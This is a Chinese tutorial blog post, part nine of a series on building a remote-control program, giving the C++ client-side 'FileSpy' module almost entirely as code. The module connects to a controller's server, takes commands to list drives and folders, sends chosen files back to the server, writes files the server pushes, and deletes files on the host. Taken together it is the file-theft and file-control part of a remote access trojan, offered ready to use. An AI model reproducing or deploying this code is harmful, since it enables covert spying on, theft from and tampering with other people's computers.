从零开始做远控 第九篇 文件监控之查找/删除/下载/上传
2016-12-24 17:58
423 查看
如果你从没看过这系列教程请点击:从零开始做远控
简介篇
文件监控之查找/删除/下载/上传
这两节主要实现四个功能:文件查找,删除,下载,上传。
这节主要做客户端:
FileSpy类:
1.首先创建一个FileSpy类。
2.遍历目录/文件夹函数:
3.查找所有盘符,比如:C盘,D盘:
4.至于网络方面都和上一节没什么区别。
代码修改:
1.更改TcpSocket类sendData函数:
我上代码了:
FileSpy.h
filespy.cpp
这一节的完整代码:
下载
简介篇
文件监控之查找/删除/下载/上传
这两节主要实现四个功能:文件查找,删除,下载,上传。
这节主要做客户端:
FileSpy类:
1.首先创建一个FileSpy类。
2.遍历目录/文件夹函数:
std::vector<std::string> FileSpy::getDirs(std::string dir) { WIN32_FIND_DATAA findData; HANDLE hFind = FindFirstFileA(dir.append("\\*").data(), &findData); std::vector<std::string> files; if (hFind == INVALID_HANDLE_VALUE) { return files; } // 遍历目录来获取路径 while (FindNextFileA(hFind, &findData)) { // 不需要后退和当前目录 if(!strcmp(findData.cFileName,"..") || !strcmp(findData.cFileName,".")) { continue; } // 判断路径 if (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { files.push_back(findData.cFileName); } } // 释放句柄 CloseHandle(hFind); return files; }
std::vector<std::string> FileSpy::getFiles(std::string dir) { WIN32_FIND_DATAA findData; HANDLE hFind = FindFirstFileA(dir.append("\\*").data(), &findData); std::vector<std::string> files; if (hFind == INVALID_HANDLE_VALUE) { return files; } // 遍历目录来获取文件 while (FindNextFileA(hFind, &findData)) { // 不需要后退和当前目录 if(!strcmp(findData.cFileName,"..") || !strcmp(findData.cFileName,".")) { continue; } // 判断不是路径 if (!(findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) { files.push_back(findData.cFileName); } } // 释放句柄 CloseHandle(hFind); return files; }
3.查找所有盘符,比如:C盘,D盘:
std::vector<std::string> FileSpy::getDrives() { std::vector<std::string> drives; // 遍历a-z盘符 for (int i='b'; i<='z'; i++) { char d[MAX_PATH]; sprintf(d, "%c:\\*", i); WIN32_FIND_DATAA findData; HANDLE h = FindFirstFileA(d, &findData); if (h != INVALID_HANDLE_VALUE) { d[strlen(d)-1] = '\0'; drives.push_back(d); // 释放句柄 CloseHandle(h); } } return drives; }
4.至于网络方面都和上一节没什么区别。
代码修改:
1.更改TcpSocket类sendData函数:
bool TcpSocket::sendData(const char *data,unsigned int size) { if ((int)mSock == SOCKET_ERROR) { std::cout << "Socket do not allowed to send data without connected " << std::endl; std::fflush(stdout);; return false; } int ret = SOCKET_ERROR; const unsigned int packetLen = 800; // 小于pakcetLen的话,就直接发送,不然就分包发送 if (size <= packetLen) { ret = send(mSock, data, size, 0); // 出现错误,断开连接 if (ret == SOCKET_ERROR) { std::cout << "Failed to send data to " << mIp << std::endl; std::fflush(stdout);; dissconnect(); } } else { unsigned int pos = 0; while (pos < size) { unsigned int sendSize = pos+packetLen > size ? size-pos : packetLen; // 发送 ret = send(mSock, data+pos, sendSize, 0); // 出现错误,断开连接 if (ret == SOCKET_ERROR) { std::cout << "Failed to send data to " << mIp << std::endl; std::fflush(stdout);; dissconnect(); break; } pos += packetLen; } } return ret != SOCKET_ERROR ? true : false; }
我上代码了:
FileSpy.h
/* * * Author: sumkee911@gmail.com * Date: 23-12-2016 * Brief: 实现查找,删除,下载,上传功能 * */ #ifndef FILESPY_H #define FILESPY_H #include "tcpsocket.h" #include <windows.h> #include <iostream> #include <map> #include <vector> class FileSpy { public: FileSpy(); // 服务端向客户端发送的指令(你觉得有需要你也可以增加自己的指令) const std::string CmdGetDirFiles = "GET_DIRS_FILES"; // 获取路径下的所有文件名和路径名 const std::string CmdDownloadFile = "DOWNLOAD_FILE"; // 服务端从客户也下载文件 const std::string CmdUploadFile = "UPLOAD_FILE"; // 服务端上传文件到客户端 const std::string CmdDeleteFile = "DELETE_FILE"; // 服务端在客户端删除文件 // 客户端向服务端发送的指令(你觉得有需要你也可以增加自己的指令) const std::string CmdSendDrives = "SEND_DRIVES"; // 发送盘符 const std::string CmdSendDirs = "SEND_DIRS"; // 发送路径下的所有路径名 const std::string CmdSendFiles = "SEND_FILES"; // 发送路径下的所有文件名 const std::string CmdDeleteFileSuccess = "DELETE_SUCCESS"; // 成功删除文件 const std::string CmdDeleteFileFailed = "DELETE_FAILED"; // 删除文件失败 // 分割符号和结束符号,比如获取文件夹所有文件命令:FILES<分割符>FILEA<文件分割符>FILEB<文件分割符>FILEC<结束符号> const std::string CmdSplit = ";"; const std::string CmdEnd = "\r\n"; const std::string CmdFileSplit = "|"; // 这个类的入口函数 static void startByNewThread(std::string domain, int port); static DWORD WINAPI fileSpyThreadProc(LPVOID args); static void startFileSpy(std::string domain, int port); // 命令解析函数 static void addDataToBuffer(TcpSocket *sock, std::string &buf, char *data, int size); static std::map<std::string, std::string> parseArgs(std::string &data); static void processCmd(TcpSocket *sock, std::string &cmd, std::string &data); // 命令处理函数 static void doGetDirFiles(TcpSocket *sock, std::map<std::string, std::string> &args); static void doDownloadFile(TcpSocket *sock, std::map<std::string, std::string> &args); static void doUploadFile(TcpSocket *sock, std::map<std::string, std::string> &args); static void doDeleteFile(TcpSocket *sock, std::map<std::string, std::string> &args); // 获取所有盘符 static std::vector<std::string> getDrives(); // 获取路径下的所有路径 static std::vector<std::string> getDirs(std::string dir); // 获取路径下的所有文件 static std::vector<std::string> getFiles(std::string dir); // 发送文件数据包头 typedef struct { char fileName[256]; unsigned int len; } FileHeader; // 发送文件入口函数 static void startSendFileByNewThread(std::string filePath, std::string domain, int port); static DWORD WINAPI sendFileThreadProc(LPVOID args); static void startSendFile(std::string filePath, std::string domain, int port); // 接收文件入口函数 static void startRecvFileByNewThread(std::string filePath, std::string domain, int port); static DWORD WINAPI recvFileThreadProc(LPVOID args); static void startRecvFile(std::string filePath, std::string domain, int port); }; #endif // FILESPY_H
filespy.cpp
#include "filespy.h"
// 初始化FileSpy
static FileSpy gSpy;
FileSpy::FileSpy()
{
}
void FileSpy::startByNewThread(std::string domain, int port)
{
// 将域名和端口数据转换成一个字符指针类型
char *args = new char[MAX_PATH+sizeof(int)];
domain.reserve(MAX_PATH);
memcpy(args,domain.data(), MAX_PATH);
memcpy(args+MAX_PATH,(char*)&port, sizeof(int));
// 创建新线程
HANDLE h = CreateThread(NULL,0, FileSpy::fileSpyThreadProc,(LPVOID)args,0,NULL);
if (!h) {
std::cout << "Failed to create new thread" << std::endl;
std::fflush(stdout);
}
}
DWORD FileSpy::fileSpyThreadProc(LPVOID args)
{
char domain[MAX_PATH];
memcpy(domain, args, MAX_PATH);
int port = *((int*)((char*)args+MAX_PATH));
// 开始监控
startFileSpy(domain, port);
// 释放参数
delete (char *)args;
return true;
}
void FileSpy::startFileSpy(std::string domain, int port)
{
// 连接到服务器,接收服务器的指令
TcpSocket sock;
if (!sock.connectTo(domain, port)) {
std::cout << "Failed to connect server for file spy" << std::endl;
std::fflush(stdout);
}
// 死循环,不断从服务端接收数据
const int packetSize = 800;
char szData[packetSize];
int ret;
std::string buf;
while (1) {
ret = sock.recvData(szData, packetSize);
// 出现错误
if (ret == SOCKET_ERROR || ret == 0) {
break;
}
// 把数据加入到缓冲区
addDataToBuffer(&sock, buf, szData, ret);
}
}
void FileSpy::addDataToBuffer(TcpSocket *sock, std::string &buf, char *data, int size)
{
buf.append(data,size);
// 把数据转换成指令模式
int endIndex;
while ((endIndex = buf.find(gSpy.CmdEnd)) >= 0) {
std::string line = buf.substr(0,endIndex);
buf.erase(0, endIndex+gSpy.CmdEnd.length());
// 获取指令
int firstSplit = line.find(gSpy.CmdSplit);
std::string cmd = line.substr(0, firstSplit);
line.erase(0, firstSplit+gSpy.CmdSplit.length());
// 处理指令
processCmd(sock, cmd, line);
}
}
std::map<std::string, std::string> FileSpy::parseArgs(std::string &data)
{
// 字符串分割成列表
std::vector<std::string> v;
std::string::size_type pos1, pos2;
pos2 = data.find(gSpy.CmdSplit);
pos1 = 0;
while(std::string::npos != pos2) {
v.push_back(data.substr(pos1, pos2-pos1));
pos1 = pos2 + gSpy.CmdSplit.size();
pos2 = data.find(gSpy.CmdSplit, pos1);
}
if(pos1 != data.length()) v.push_back(data.substr(pos1));
// 解析参数
std::map<std::string, std::string> args;
for (int i=0; i<(int)v.size()-1; i+=2) {
args[v.at(i)] = v.at(i+1);
}
return args;
}
void FileSpy::processCmd(TcpSocket *sock, std::string &cmd, std::string &data)
{
// 解析参数
std::map<std::string, std::string> args = parseArgs(data);
// 获取文件
if (cmd == gSpy.CmdGetDirFiles) {
doGetDirFiles(sock, args);
return;
}
// 下载文件
if (cmd == gSpy.CmdDownloadFile) {
doDownloadFile(sock, args);
return;
}
// 上传文件
if (cmd == gSpy.CmdUploadFile) {
doUploadFile(sock, args);
return;
}
// 删除文件
if (cmd == gSpy.CmdDeleteFile) {
doDeleteFile(sock ,args);
return;
}
}
void FileSpy::doGetDirFiles(TcpSocket *sock, std::map<std::string, std::string> &args)
{
std::string dir = args["DIR"];
std::string data;
// 如果为空就代表获取盘符
if (dir.size() == 0) {
std::vector<std::string> drives;
drives = getDrives();
// 把盘符打包成数据
data.append(gSpy.CmdSendDrives+gSpy.CmdSplit);
data.append("DRIVES"+gSpy.CmdSplit);
int max = drives.size();
for (int i=0; i<max; ++i) {
data.append(drives[i]+gSpy.CmdFileSplit);
}
if (drives.size() > 0) {
data.erase(data.size()-1);
}
data.append(gSpy.CmdEnd);
// 发送
sock->sendData(data.data(), data.size());
} else {
std::vector<std::string> files;
std::vector<std::string> dirs;
dirs = getDirs(dir);
files = getFiles(dir);
// 把目录打包成数据
data.append(gSpy.CmdSendDirs+gSpy.CmdSplit);
data.append("DIR"+gSpy.CmdSplit+ dir +gSpy.CmdSplit);
data.append("DIRS"+gSpy.CmdSplit);
int max = dirs.size();
for (int i=0; i<max; ++i) {
data.append(dirs[i]+gSpy.CmdFileSplit);
}
if (dirs.size() > 0) {
data.erase(data.size()-1);
}
data.append(gSpy.CmdEnd);
// 把文件名打包成数据
data.append(gSpy.CmdSendFiles+gSpy.CmdSplit);
data.append("DIR"+gSpy.CmdSplit+ dir +gSpy.CmdSplit);
data.append("FILES"+gSpy.CmdSplit);
max = files.size();
for (int i=0; i<max; ++i) {
data.append(files[i]+gSpy.CmdFileSplit);
}
if (files.size()) {
data.erase(data.size()-1);
}
data.append(gSpy.CmdEnd);
// 发送
sock->sendData(data.data(), data.size());
}
}
void FileSpy::doDownloadFile(TcpSocket *sock, std::map<std::string, std::string> &args)
{
// 发送文件到服务端
std::string filePath = args["FILE_PATH"];
int port = atoi(args["PORT"].data());
// 开启一个新的线程发送文件
startSendFileByNewThread(filePath, sock->mIp, port);
}
void FileSpy::doUploadFile(TcpSocket *sock, std::map<std::string, std::string> &args)
{
// 从服务端接收文件
std::string filePath = args["FILE_PATH"];
int port = atoi(args["PORT"].data());
// 开启一个线程接收文件
startRecvFileByNewThread(filePath, sock->mIp, port);
}
void FileSpy::doDeleteFile(TcpSocket *sock, std::map<std::string, std::string> &args)
{
// 删除文件
bool ret = DeleteFileA(args["FILE_PATH"].data());
std::string data;
if (ret) {
data.append(gSpy.CmdDeleteFileSuccess);
data.append(gSpy.CmdEnd);
sock->sendData(data.data(), data.size());
} else {
data.append(gSpy.CmdDeleteFileFailed);
data.append(gSpy.CmdEnd);
sock->sendData(data.data(), data.size());
}
}
std::vector<std::string> FileSpy::getDrives() { std::vector<std::string> drives; // 遍历a-z盘符 for (int i='b'; i<='z'; i++) { char d[MAX_PATH]; sprintf(d, "%c:\\*", i); WIN32_FIND_DATAA findData; HANDLE h = FindFirstFileA(d, &findData); if (h != INVALID_HANDLE_VALUE) { d[strlen(d)-1] = '\0'; drives.push_back(d); // 释放句柄 CloseHandle(h); } } return drives; }std::vector<std::string> FileSpy::getDirs(std::string dir) { WIN32_FIND_DATAA findData; HANDLE hFind = FindFirstFileA(dir.append("\\*").data(), &findData); std::vector<std::string> files; if (hFind == INVALID_HANDLE_VALUE) { return files; } // 遍历目录来获取路径 while (FindNextFileA(hFind, &findData)) { // 不需要后退和当前目录 if(!strcmp(findData.cFileName,"..") || !strcmp(findData.cFileName,".")) { continue; } // 判断路径 if (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { files.push_back(findData.cFileName); } } // 释放句柄 CloseHandle(hFind); return files; }
std::vector<std::string> FileSpy::getFiles(std::string dir) { WIN32_FIND_DATAA findData; HANDLE hFind = FindFirstFileA(dir.append("\\*").data(), &findData); std::vector<std::string> files; if (hFind == INVALID_HANDLE_VALUE) { return files; } // 遍历目录来获取文件 while (FindNextFileA(hFind, &findData)) { // 不需要后退和当前目录 if(!strcmp(findData.cFileName,"..") || !strcmp(findData.cFileName,".")) { continue; } // 判断不是路径 if (!(findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) { files.push_back(findData.cFileName); } } // 释放句柄 CloseHandle(hFind); return files; }
void FileSpy::startSendFileByNewThread(std::string filePath, std::string domain, int port)
{
// 将文件路径,域名和端口数据转换成一个字符指针类型
char *args = new char[MAX_PATH+MAX_PATH+sizeof(int)];
filePath.reserve(MAX_PATH);
memcpy(args, filePath.data(), MAX_PATH);
domain.reserve(MAX_PATH);
memcpy(args+MAX_PATH,domain.data(), MAX_PATH);
memcpy(args+MAX_PATH+MAX_PATH,(char*)&port, sizeof(int));
// 创建新线程
HANDLE h = CreateThread(NULL,0, FileSpy::sendFileThreadProc,(LPVOID)args,0,NULL);
if (!h) {
std::cout << "Failed to create new thread" << std::endl;
std::fflush(stdout);
}
}
DWORD FileSpy::sendFileThreadProc(LPVOID args)
{
// 将文件路径,域名和端口数据从指针转换过来
char filePath[MAX_PATH], domain[MAX_PATH];
memcpy(filePath, args, MAX_PATH);
memcpy(domain, args+MAX_PATH, MAX_PATH);
int port = *((int*)((char*)args+MAX_PATH+MAX_PATH));
// 开始发送文件
startSendFile(filePath, domain, port);
// 释放参数
delete (char *)args;
return true;
}
void FileSpy::startSendFile(std::string filePath, std::string domain, int port)
{
// 连接到服务端发送文件
TcpSocket sock;
if (!sock.connectTo(domain, port)) {
std::cout << "Failed to connect server for send file" << std::endl;
std::fflush(stdout);
return;
}
// 打开文件
FILE *fp = fopen(filePath.data(), "rb");
if (!fp) {
// 断开
sock.dissconnect();
std::cout << "Failed to open file for send file" << std::endl;
std::fflush(stdout);
return;
}
// 获取文件大小
fseek(fp, 0, SEEK_END);
unsigned int len = ftell(fp);
rewind(fp);
// 获取文件名字
char name[_MAX_FNAME], ext[_MAX_EXT];
_splitpath(filePath.data(), NULL, NULL, name, ext);
// 发送文件头
FileHeader header;
sprintf(header.fileName, "%s%s", name,ext);
header.len = len;
sock.sendData((char *)&header, sizeof(header));
// 发送文件数据
// 发送jpg数据包,包大小每次最好少于1000,我这里定义800
const unsigned int paketLen = 800;
char data[800];
unsigned int pos = 0;
while (pos < len) {
int sendSize = (pos+paketLen) > len ? len-pos : paketLen;
// 读取文件
fread(data, 1, sendSize, fp);
if (!sock.sendData(data, sendSize)) {
return;
}
pos += sendSize;
}
// 关闭已经打开的文件
fclose(fp);
}
void FileSpy::startRecvFileByNewThread(std::string filePath, std::string domain, int port)
{
// 将文件路径,域名和端口数据转换成一个字符指针类型
char *args = new char[MAX_PATH+MAX_PATH+sizeof(int)];
filePath.reserve(MAX_PATH);
memcpy(args, filePath.data(), MAX_PATH);
domain.reserve(MAX_PATH);
memcpy(args+MAX_PATH,domain.data(), MAX_PATH);
memcpy(args+MAX_PATH+MAX_PATH,(char*)&port, sizeof(int));
// 创建新线程
HANDLE h = CreateThread(NULL,0, FileSpy::recvFileThreadProc,(LPVOID)args,0,NULL);
if (!h) {
std::cout << "Failed to create new thread" << std::endl;
std::fflush(stdout);
}
}
DWORD FileSpy::recvFileThreadProc(LPVOID args)
{
// 将文件路径,域名和端口数据从指针转换过来
char filePath[MAX_PATH], domain[MAX_PATH];
memcpy(filePath, args, MAX_PATH);
memcpy(domain, args+MAX_PATH, MAX_PATH);
int port = *((int*)((char*)args+MAX_PATH+MAX_PATH));
// 开始接收
startRecvFile(filePath, domain, port);
// 释放参数
delete (char *)args;
return true;
}
void FileSpy::startRecvFile(std::string filePath, std::string domain, int port)
{ // 连接到服务端发送文件
TcpSocket sock;
if (!sock.connectTo(domain, port)) {
std::cout << "Failed to connect server for send file" << std::endl;
std::fflush(stdout);
return;
}
// 创建一个新的文件
FILE *fp = fopen(filePath.data(), "wb");
if (!fp) {
// 断开
sock.dissconnect();
std::cout << "Failed to open file for send file" << std::endl;
std::fflush(stdout);
return;
}
// 开始接收数据
const int packetLen = 800;
char data[packetLen];
while(1) {
int ret = sock.recvData(data, packetLen);
if (ret == SOCKET_ERROR || ret == 0) {
break;
}
// 写入数据
fwrite(data, 1, ret, fp);
}
// 关闭文件
if (fp) {
fclose(fp);
}
}
这一节的完整代码:
下载
相关文章推荐
- 从零开始做远控 第十篇 文件监控之查找/删除/下载/上传
- C# 文件操作(上传 下载 删除 文件列表...)
- C# 文件操作(上传 下载 删除 文件列表...)
- C# 文件操作(上传 下载 删除 文件列表...)(转)
- C# 文件操作(上传 下载 删除 文件列表...)
- ASP.NET中对文件的操作 创建 读取 删除 上传 下载
- ASP.NET中对文件的操作 创建 读取 删除 上传 下载(转 备份用)
- C# 文件操作(上传 下载 删除 文件列表...)
- 文件的上传 下载 删除
- Microsoft .NET Framework 2.0对文件传输协议(FTP)操作(上传,下载,新建,删除,FTP间传送文件等)实现汇总1
- .Net 对文件传输协议(FTP)操作(上传,下载,新建,删除,FTP间传送文件等)
- 文件的-------上传,下载,删除.
- [导入].net,C#,Ftp各种操作,上传,下载,删除文件,创建目录,删除目录,获得文件列表等
- C#对FTP的操作(上传,下载,重命名文件,删除文件,文件存在检查)
- C# 文件操作(上传 下载 删除 文件列表...)
- .net,C#,Ftp各种操作,上传,下载,删除文件,创建目录,删除目录,获得文件列表等
- C# 文件操作(上传 下载 删除 文件列表...)
- C# 文件操作(上传 下载 删除 文件列表...)
- .net,C#,Ftp各种操作,上传,下载,删除文件,创建目录,删除目录,获得文件列表等 收藏
- C# 文件操作(上传 下载 删除 文件列表...)